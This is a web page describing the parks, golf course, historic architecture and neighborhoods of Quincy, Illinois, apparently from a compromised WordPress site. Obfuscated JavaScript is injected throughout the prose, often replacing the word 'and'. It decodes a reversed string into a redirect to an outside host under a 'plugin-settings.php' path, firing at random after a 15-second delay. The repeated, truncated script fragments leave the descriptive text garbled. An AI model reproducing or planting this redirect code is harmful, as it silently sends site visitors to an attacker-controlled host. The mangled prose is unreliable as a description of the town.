Parks & Neighborhoods

Parks & Neighborhoods


Quincy, Illinois is forttog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}unate to possess one of the most extensive, beautiful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and varied park systems of any town its size in the Midwest.

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Wavering-Moorman Park includes a large swimming complex, a scenic lake with paddle-boat concessions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fishing, many lighted softball fields, a disk golf course, an archery range, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and playgrounds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shelter houses with electricity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grills.

Westview Golf Course, operated by the District, is a 27-hole course with pro shop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and club house. Additionally there are three private country club courses.

It’s been said that the Park District wants a park within a mile of every home andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and town…andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it seems that they’ve very nearly succeeded.

Quincy’s neighborhoods reflect the town’s growth over the years. South of Maine Street andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and west of 12th Street are the many fine homes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and architecturally-significant buildings of the German Historic District.

From Greek Revival to Italianate to Romanesque, Queen Anne to stunning examples of native-Illinois Prairie Style, Quincy’s architectural heritage is a quiet treasure that residents share with visitors from around the world.

A stately canopy of trees marches down most blocks in this area, gracefully shading sidewalks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and streets. Further along Maine is the first planned neighborhood, datingandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}tors.com/wp-content/uploads/2014/07/quincy-museum2.jpg” alt=”quincy-museum2″ width=”285″ height=”166″ /> from the 1930′s.

North of Broadway (the main east-west street) a series of neighborhoods grew up around parks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and schools. Nearer the river are one hundred andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fifty year old homes, some single-family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some multi-use. Moving east these neighborhoods are the stereotype of “Middle America” with shady streets, wrap-around porches, kids in the yard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and neighbors leaning over fences discussing the issues of the day.

Scattered on the north, south andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and east are a series of much more recent developments, with modern suburban homes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lots.

Commercial activity is scattered throughout town, with concentrations in the Historic Quincy Business District downtown, stretched along four miles of Broadway in the heart of Quincy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the booming “big box” area to the east.

Along the fringes of town you’ll find town andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and country mingling as homes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and neighborhoods co-exist with farms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fields. These tranquil areas are perfect for outdoor types who still want to enjoy easy access to Quincy’s restaurants, stores, businesses, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and museums, theater andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and symphony.

Our parks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and neighborhoods make Quincy one of the most livable of American towns.